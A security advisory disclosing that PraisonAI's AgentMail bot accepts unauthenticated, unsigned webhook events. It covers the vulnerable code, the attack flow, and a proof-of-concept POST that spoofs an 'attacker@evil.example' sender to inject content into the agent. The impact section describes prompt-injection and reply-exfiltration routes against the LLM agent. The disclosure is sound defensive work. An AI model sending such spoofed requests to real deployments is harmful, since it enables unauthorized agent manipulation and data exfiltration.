PYSEC-2026-4259

## Summary

PraisonAI's AgentMail bot, when run in webhook (or hybrid) mode, starts an aiohttp webhook server bound to `0.0.0.0` and processes inbound `message.received` events **without verifying any signature/HMAC and without authentication**. The sender address and message body are taken directly from the attacker-controlled request body, so any network peer can inject messages into the agent with a spoofed sender (bypassing sender allow/block lists) and have the agent process the content and reply to an attacker-chosen address. Sibling bots (`linear.py`, `whatsapp.py`) fail closed when no secret is configured; AgentMail omits the check entirely. Runtime-confirmed; severity Medium.

## Details

### Affected component - Package: `praisonai` 4.6.63. File: `src/praisonai/praisonai/bots/agentmail.py` (`AgentMailBot`, webhook/hybrid mode).

### Vulnerable code / root cause

Path: `src/praisonai/praisonai/bots/agentmail.py`

Function: `_start_webhook_mode` / `_handle_email_webhook` / `_handle_message`

Snippet: ```python # _start_webhook_mode: binds all interfaces self._webhook_site = web.TCPSite(self._webhook_runner, "0.0.0.0", self._webhook_port)

# _handle_email_webhook: no signature/HMAC check, no auth body = await request.json() if body.get("type") != "message.received": return web.Response(status=200, text="OK") asyncio.create_task(self._process_webhook_payload(body)) # dispatch attacker body return web.Response(status=200, text="OK")

# _handle_message: agent processes content, replies to attacker-controlled sender response = await self._session.chat(self._agent, sender_id, body, ...) await self.send_message(channel_id=sender_id, ...) ``` Issue: attacker-controlled input is the raw webhook JSON (`from`, `extracted_text`, `subject`). The guard that *should* exist is provider signature verification — there is **none** here (no svix/HMAC, no `webhooks_require_verification()` call). The sink is `self._session.chat(self._agent, ...)` (agent invocation) and `send_message(channel_id=sender_id, ...)` (reply to the spoofed sender). Sibling handlers `src/praisonai/praisonai/bots/linear.py` and `bots/whatsapp.py` call `webhooks_require_verification()` and reject when no secret is set — AgentMail does not, so it fails open.

### Attack flow 1. Operator runs the AgentMail bot in webhook/hybrid mode (documented; binds `0.0.0.0`, default path `/webhook`, default port 8080). 2. Attacker POSTs a crafted `message.received` event with a spoofed `from` and arbitrary `extracted_text`. 3. The agent processes the content; any reply is sent to the attacker-chosen `sender_id`.

### Why existing protection is bypassed There is no protection on this handler: no signature verification, no `webhooks_require_verification()` gate, no auth. Sender allow/block lists are bypassed because `from` is attacker-controlled.

### Security boundary Unauthenticated network peer → agent message pipeline + reply destination. Crosses the bot's inbound trust boundary (provider webhooks are expected to be signed/authenticated).

## Proof of Concept

### Environment Real `AgentMailBot._handle_email_webhook` mounted in a local runtime (`127.0.0.1:18080`); the agent layer is a canary recorder (`/webhook-log`). No real email is sent. Runnable assets: `PraisonAI-Runtime-Repro\runtime-files\`.

### Steps to reproduce 1. `PRAI-03-01-Webhook-Spoofed-Sender`: ```http POST /webhook HTTP/1.1 Host: 127.0.0.1:18080 Content-Type: application/json

{"type":"message.received","data":{"from":"attacker@evil.example","extracted_text":"PRAISONAI_WEBHOOK_INJECT_CANARY_7f3a91 ...","subject":"hello","headers":{}}} ``` 2. `PRAI-03-02-Agent-Reached-Response`: `GET /webhook-log`.

### Expected result The webhook should reject unsigned/unauthenticated events; spoofed senders should not reach the agent.

### Actual result - `POST /webhook` → `200 OK` (no auth/signature). - `GET /webhook-log` → `{"reached_agent":[{"sender":"attacker@evil.example","content":"...PRAISONAI_WEBHOOK_INJECT_CANARY_7f3a91...","source":"webhook"}],"count":1}`.

## Impact Unauthenticated message injection into the agent; sender spoofing (access-control bypass); agent reply/exfiltration to an attacker-chosen address; prompt-injection surface; LLM cost abuse. If the agent has dangerous tools, escalation via prompt injection is possible.